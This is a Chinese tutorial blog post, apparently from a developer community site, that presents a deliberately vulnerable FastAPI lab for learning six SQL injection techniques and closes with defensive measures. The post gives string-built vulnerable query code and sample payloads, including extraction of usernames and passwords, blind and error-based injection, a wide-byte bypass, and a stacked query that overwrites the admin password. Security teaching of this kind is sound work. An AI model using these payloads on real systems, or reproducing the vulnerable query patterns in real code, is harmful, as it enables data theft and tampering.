安全测试:SQL注入原理与六大攻击方式

SQL注入原理与六大攻击方式深度解析:从概念到实战防御 SQL注入是一种经典的Web安全漏洞,其核心原理在于应用程序未能正确处理用户输入,导致恶意构造的数据被误执行为SQL代码。这种漏洞源于数据与代码边界的混淆,攻击者通过注入恶意SQL片段,可以绕过认证、窃取数据甚至控制数据库服务器。从技术价值看,理解SQL注入不仅是安全测试的基石,更是开发人员编写健壮代码、运维人员构建纵深防御的关键。在实际应用场景中,SQL注入攻击衍生出多种形式,包括基于报错的注入、联合查询注入、布尔盲注、时间盲注、堆叠查询注入以及二次注入与宽字节注入等六大主要方式。掌握这些攻击手法,有助于 阅读详情

📝 面试求职: 「面试试题小程序」 ,内容涵盖 测试基础、Linux操作系统、MySQL数据库、Web功能测试、接口测试、APPium移动端测试、Python知识、Selenium自动化测试相关、性能测试、性能测试、计算机网络知识、Jmeter、HR面试,命中率杠杠的。(大家刷起来…)

📝 职场经验干货:

软件测试工程师简历上如何编写个人信息(一周8个面试)

软件测试工程师简历上如何编写专业技能(一周8个面试)

软件测试工程师简历上如何编写项目经验(一周8个面试)

软件测试工程师简历上如何编写个人荣誉(一周8个面试)

软件测试行情分享(这些都不了解就别贸然冲了.)

软件测试面试重点,搞清楚这些轻松拿到年薪30W+

软件测试面试刷题小程序免费使用(永久使用)


测试技能:SQL注入原理与六大攻击方式

公司近期出过几次安全相关的事故,于是,要求测试工程师必须在测试工作中考虑安全相关的测试。因此,我又重新开始学习安全测试技术。OWASP Top 10安全漏洞,关于注入类攻击一致名列榜首,于是,先从SQL注入开始。

什么是SQL注入?

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意SQL代码,诱使后端数据库执行非预期的查询,从而获取、篡改甚至破坏数据。其根本原因在于应用程序未对用户输入进行有效过滤和转义,直接将输入拼接到SQL语句中执行。

项目简介

为了方便学习,我单独创建了一个开源项目:https://github.com/AutoTestClass/Learn-hacking-class

本项目为SQL注入演示平台,旨在帮助测试工程师理解和实践各种SQL注入攻击及其防护。平台实现了六种典型的SQL注入方式,每种方式均有对应的接口和演示页面,便于学习和测试。

六种SQL注入方式与原理

1. 联合查询注入(Union-based Injection)

原理:利用UNION关键字,将攻击者自定义的查询结果与原查询结果合并,进而获取敏感数据。

项目实现:

@app.get("/union_injection/{product_id}")
def union_injection(product_id: str, db: Session = Depends(get_db)):
    query = f"SELECT id, name, price FROM products WHERE id = {product_id}"
    ...

示例攻击语句:

1 UNION SELECT 1,username,password FROM users--

效果:可直接读取users表中的用户名和密码。


2. 布尔盲注(Boolean-based Blind Injection)

原理:通过构造布尔表达式,根据返回结果的真假判断数据库中的信息。适用于无错误回显的场景。

项目实现:

@app.get("/boolean_blind/{input}")
def boolean_blind(input: str, db: Session = Depends(get_db)):
    query = f"SELECT username, email FROM users WHERE username = '{input}' "
    ...

示例攻击语句:

admin' OR 1=1
admin' AND SUBSTRING(password,1,1)='a

效果:可逐步猜解用户名、密码等敏感信息。


3. 报错注入(Error-based Injection)

原理:利用数据库的错误信息,将敏感数据通过报错内容回显给前端。

项目实现:

@app.get("/error_injection/")
def error_injection(input: str, db: Session = Depends(get_db)):
    query = f"SELECT * FROM products WHERE id = {input}"
    ...

示例攻击语句:

1 AND (SELECT updatexml(1, concat(0x5c, (SELECT database())), 1))
1 AND extractvalue(1,concat(0x5c,(SELECT user())))

效果:可直接在错误信息中获取数据库名、用户名等。


4. 时间盲注(Time-based Blind Injection)

原理:通过构造包含延时函数(如SLEEP)的SQL语句,根据响应时间判断条件是否成立,进而推断数据。

项目实现:

@app.get("/time_blind/{input}")
def time_blind(input: str, db: Session = Depends(get_db)):
    query = f"SELECT * FROM products WHERE id = {input}"
    ...

示例攻击语句:

1 AND IF(1=1, SLEEP(3), 0)
1 AND IF(SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a', SLEEP(3), 0)

效果:通过延迟响应时间,逐步猜解敏感信息。


5. 宽字节注入(Wide-byte Injection)

原理:利用数据库编码(如GBK)特性,绕过转义机制,实现注入。常见于宽字节编码下\与多字节字符组合被“吃掉”,导致转义失效。

项目实现:

@app.get("/wide_byte_injection/{input}")
def wide_byte_injection(input: str, db: Session = Depends(get_db)):
    # 检查%df%5c,模拟宽字节绕过
    ...

示例攻击语句(需终端模拟):

curl "http://127.0.0.1:8000/wide_byte_injection/%df%5c%27%20OR%201=1%23"

效果:可绕过转义,执行注入语句。


6. 堆叠查询注入(Stacked Queries Injection)

原理:通过分号;分隔,执行多条SQL语句,通常用于批量操作数据。

项目实现:

@app.get("/stacked_queries/{input}")
def stacked_queries(input: str, db: Session = Depends(get_db)):
    query = f"SELECT * FROM products WHERE id = 1; {input}"
    ...

示例攻击语句:

; UPDATE users SET password='hacked' WHERE username='admin'

效果:可批量修改、删除数据,危害极大。


总结

本项目通过六种典型注入方式,全面展示了SQL注入的攻击原理和危害。防护SQL注入的根本措施包括:

  • • 严格使用参数化查询(预编译语句)

  • • 对用户输入进行类型校验和转义

  • • 限制数据库账户权限

  • • 定期安全测试和代码审计

通过本平台的实践演练,测试工程师可深入理解SQL注入的本质与防御思路,为实际项目安全保驾护航。

最后: 下方这份完整的软件测试视频教程已经整理上传完成,需要的朋友们可以自行领取【保证100%免费】

​

​​​

SQL注入攻击全解析:从原理到六大攻击方式与防御实践 SQL注入是一种利用Web应用程序对用户输入数据验证不足,将恶意SQL代码插入到查询语句中的安全漏洞。其核心原理在于混淆了数据与代码的边界,当用户输入被直接拼接到数据库查询时,攻击者可以执行非授权的数据库操作。这种漏洞的技术价值在于它直击应用安全的核心弱点,即对用户输入的盲目信任,能够导致数据泄露、数据篡改甚至服务器沦陷等严重后果。在应用场景上,SQL注入广泛存在于任何涉及数据库交互的Web应用中,特别是那些采用动态SQL拼接的登录、搜索和数据展示功能。通过理解联合查询、报错注入、布尔盲注等主流攻击手法,并 阅读详情

相关推荐

Linux内核同步原语之队列自旋锁(Queued Spin Lock)深度解析

本文深度解析了Linux内核中的队列自旋锁(Queued Spin Lock)机制。通过对比传统自旋锁的瓶颈,详细阐述了队列自旋锁如何利用紧凑的4字节结构、每CPU节点数组和pending位优化,有效解决多核(SMP)系统中的缓存行乒乓和惊群效应,实现公平、高效的锁等待队列,从而显著提升内核在高并发场景下的可扩展性与性能。

weixin_29205061的博客 303

常见WEB漏洞—SQL 注入

SQL 注入是一种危害性极大的安全漏洞,可能导致严重的数据泄露和系统破坏。通过采取严格的输入验证、使用参数化查询、实施最小权限原则等措施,可以有效防范 SQL 注入攻击。定期进行安全测试和漏洞扫描也是确保应用程序安全的重要手段。如果你的应用可能存在 SQL 注入风险,建议立即排查并修复!

qq_53058639的博客 239

【任何电机可使用的七段式s曲线-----包括matlab代码和simulink仿真】

S形加加速(T1)→>匀加速(T2)→减加速(T3)→>匀速(T4 )>加减速(T5)>匀减速(T6)-→>减减速(T7)

weixin_44312889的博客 6308

安全测试员必知!5大常见的Web安全漏洞及测试方法归纳!

一般来说,版本功能测试完成,对应的用例也实现了自动化,性能、兼容、稳定性测试也完成了以后,我们就需要考虑到系统的安全问题,特别是涉及到交易、支付、用户账户信息的模块,安全漏洞会带来极高的风险。 一、...

cky8792的博客 1763

python文件转为可执行文件(.exe)的详细步骤

本文详细介绍了如何从零开始把python文件打包成为可执行文件(.exe)。

m0_67093160的博客 3万+

【020】基于51单片机智能路灯系统Proteus仿真与实物设计

【020】基于51单片机智能路灯系统Proteus仿真与实物设计

小邓子分享官的博客 1878

常见Web安全漏洞及测试方法(转载)

一般来说,版本功能测试完成,对应的用例也实现了自动化,性能、兼容、稳定性测试也完成了以后,我们就需要考虑到系统的安全问题,特别是涉及到交易、支付、用户账户信息的模块,安全漏洞会带来极高的风险。 一、安全测试6项基本原则: 认证:对认证的用户的请求返回 访问控制:对未认证的用户的权限控制和数据保护 完整性:用户必须准确的收到服务器发送的信息 机密性:信息必须准确的传递给预期的用户 可靠性...

fangrenxu的博客 1万+

【深度学习】肺结节分割项目实战二:分割肺实质

在后续训练模型的时候如果直接使用原始的肺部CT图像,其中的非肺区域会对训练造成干扰,因此我们需要提取分割肺实质。这一部分参考了kaggle上的教程。 从这张CT图像中可以看出扫描器以外的部分为黑色,背景和肺内部颜色较深,非肺组织和骨头颜色较浅。我们的目的是将肺部分割出来。由于肺部区域和其他部分对比明显,我们可以设置一个合适的阈值对图像中的区域进行隔离。 import argparse import os import numpy as np from medpy.filter.smoothing imp

weixin_42182906的博客 7240

从top25-parameter看Web安全趋势:最新漏洞参数分析与预测

top25-parameter项目是一个专注于Web安全研究的开源资源,汇集了25个最常见的漏洞参数,可用于自动化工具或手动漏洞侦察。这些参数基于各种文章的使用频率整理而成,涵盖了跨站脚本(XSS)、服务器端请求伪造(SSRF)、本地文件包含(LFI)、SQL注入(SQLi)、远程代码执行(RCE)和开放重定向等多种常见Web漏洞类型。 [![top25漏洞参数概览](https://raw.g

gitblog_00290的博客 346

【深度学习新浪潮】什么是system 1和system 2?

System 1(快速生成)指大模型直接基于输入生成响应,无需显式中间推理步骤。例如,GPT-4等模型在默认状态下通过Transformer直接输出结果,擅长快速回答简单问题或生成连贯文本,但在复杂逻辑任务中可能出错。这类模型的内部计算以向量形式隐式进行,难以处理符号推理等需要离散决策的任务。System 2(慢速推理)指模型通过生成中间token(如思维链、分步推导)或多次调用LLM进行复杂推理。

专注:太空算力、AI infra、异构调度、大模型成本工程 924

Himall商城ExpressDaDaHelper 取消订单(线上环境)

Himall商城ExpressDaDaHelper 取消订单(线上环境)

GZM888888的博客 399

安全测试入门指南:Web应用常见漏洞及测试方法

Web应用安全测试是一项系统性、持续性的工作,需要软件测试从业者具备扎实的专业知识、丰富的实践经验与敏锐的安全洞察力。通过深入理解常见漏洞的成因与危害,掌握科学有效的测试方法与工具,遵循规范的测试流程,并结合最佳的安全防护实践,才能构建起坚固的Web应用安全防线,有效抵御各类安全威胁,保障Web应用的稳定运行与用户数据的安全。在未来,随着Web技术的不断演进,新的安全挑战也将层出不穷,测试从业者需保持学习热情,不断更新知识体系,以适应安全测试领域的发展需求。

2501_94436581的博客 426

Python爬虫实战:使用最新技术抓取百度贴吧帖子内容

本文详细介绍了使用Python最新技术抓取百度贴吧帖子的完整流程。通过库,我们实现了高效的异步爬虫,具备JavaScript渲染、智能反爬应对、数据持久化等高级功能。这个爬虫框架具有良好的扩展性,可以根据具体需求进行功能增强。

2201_76125261的博客 777

web安全防护指南,web安全入门(非常详细)从零基础入门到精通,收藏这篇就够了

Web安全概述与防护措施 Web安全涉及保护网站和在线服务免受恶意攻击的技术与策略,包括身份验证、输入验证、安全编码等多项措施。其重要性体现在防止数据泄露、保障服务可用性、维护企业声誉及满足合规要求等方面。常见威胁有SQL注入、XSS攻击、文件上传漏洞等。防御措施涵盖数据验证、错误处理、服务器安全配置、安全编程实践及持续监控。定期安全评估和渗透测试有助于发现漏洞,而合规性和数据隐私保护则是法律要求。随着网络威胁不断演变,持续的安全培训和意识提升对维护Web安全至关重要。

2401_84618514的博客 270

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

AI Agent 安全攻防实战 2026:从越狱攻击到防御体系的完整指南

Agent安全是一个持续演进的过程。攻击者的手法不断翻新,防御方也需要建立多层纵深防御体系。核心原则是:不信任任何输入(包括用户输入和外部数据)、最小权限操作工具、全程监控审计。只有在安全基础上构建的Agent应用,才能真正在企业级场景中落地。

热爱技术与前沿创新,深耕科技领域,在科创中精进自我;探索技术乐趣,分享技术干货与成长心得,以技术为伴,热爱生活,在科创与生活中双向成长。 334

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

SkillVetBench:基于LLM-as-Judge的大模型智能体技能安全评估框架

在人工智能领域,大模型智能体(LLM Agent)通过集成多样化技能(Skills)扩展能力边界,但其动态、开放的特性也引入了新的安全挑战。传统静态代码分析工具难以评估基于自然语言交互的技能在复杂对话场景下的逻辑风险、权限滥用及数据泄露隐患。为解决此问题,业界探索利用大模型自身作为评审官(LLM-as-Judge)的自动化评估范式。该技术通过构建多维安全风险维度(如指令注入、边界控制),生成对抗性测试用例,并设计结构化提示词,使评审官模型能系统化评判技能行为。其核心价值在于为开源技能生态提供了可量化、可复现

weixin_33924220的博客 387

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

零基础入门学网络安全(详细),看这篇就够了

很多刚接触技术的小伙伴总觉得网络安全就是“当黑客”、“破密码”,其实这种理解非常片面。网络安全是一门涵盖计算机、通信、密码学、管理学及法律法规的综合性工程学科。网络安全(Cyber Security)是指通过采取必要的技术措施与管理手段,保护网络系统中的硬件、软件及其系统中的数据,防止其受到偶然或者恶意原因而遭到破坏、更改、泄露,保障系统连续可靠正常地运行,网络服务不中断。

2301_80217102的博客 373

SQL并行执行的机制解析与计划调控实践

并行执行是大数据量场景的核心提速手段,但用错代价极高。本文从问题边界讲起,梳理并行度的确定层级、优化器生成并行计划的逻辑、数据再分布与通信代价、倾斜成因与识别方法,覆盖表设计、索引策略、并行DML、RAC调度与参数取舍,配合三个真实失败案例与诊断步骤,给出一套可落地的并行治理流程与误区清单。

搞定过:百亿级数据、万级QPS、零宕机、AI工业化。 627

Flink SQL 连接器实战:MySQL Source、Flink CDC 与 JDBC Sink 全解析

提供有界流读取,适合批处理和维表场景,简单直接但无法感知变更。MySQL CDC提供无界流读取,通过「全量快照 + binlog 增量」的方式实现实时捕获,是实时数仓的核心入口,但需要 MySQL 侧正确配置 binlog 和权限。JDBC Sink负责结果回写,关键在于区分仅插入流和更新流,更新流必须依赖主键完成 upsert。掌握这三者的差异,本质上就是掌握了 Flink 中「有界与无界」「追加与更新」这两组最基本的语义。

2401_83857914的博客 426

数据库乐观锁深度解析:MySQL、PostgreSQL 实战 + Spring Boot 集成指南

Oracle 提供了ORA_ROWSCN伪列(System Change Number),记录最后修改行的 SCN,类似 PostgreSQL 的xmin。实践中通常仍使用 version 字段方案,逻辑与 MySQL 完全相同。-- Oracle:通过 ORA_ROWSCN 实现乐观锁-- 更新时比对 SCN// 自定义注解// AOP 切面@Aspect@Component@Slf4jtry {

yjc_1111的专栏 396

云数仓向PostgreSQL生态延伸的技术动因与工程代价

Snowflake以2.5亿美元收购Crunchy Data,把云数仓的触角伸向PostgreSQL生态。本文从负载补齐、元数据标准化与AI应用低延迟读写三个切面拆解收购动机,逐层分析列存与行存的能力边界、存算分离下引入事务负载的提交延迟预算、逻辑复制的接缝风险、元数据统一与混合负载隔离冲突,并给出迁移落地的分阶段验收清单与七个典型误区,最后提供评估厂商PostgreSQL能力的六项观察指标。

搞定过:百亿级数据、万级QPS、零宕机、AI工业化。 410

XSS 过滤器 vs SQL 注入防护:自动化测试平台中的

通过分析 AutoTest Platform 的源码可以看出,在实际开发中合理运用字符转义、参数化查询和白名单策略能够有效减少 Web 安全风险。对于非科班出身或刚刚入门的技术人员来说,理解这些安全措施的具体实现方式是非常重要的一步。建议读者可以尝试以下几个方向深入学习:1. 学习 Jsoup 库及 Whitelist API 的用法,并尝试自定义一套适用于自身项目的 HTML 清理规则;

后台模板 227
上一篇: 使用 ESLint 捕获 Playwright 测试中遗漏的 await调用
下一篇: AI赋能!Playwright带飞UI自动化脚本维护
字节自动化测试
博客等级 码龄6年 7034粉丝 1810原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值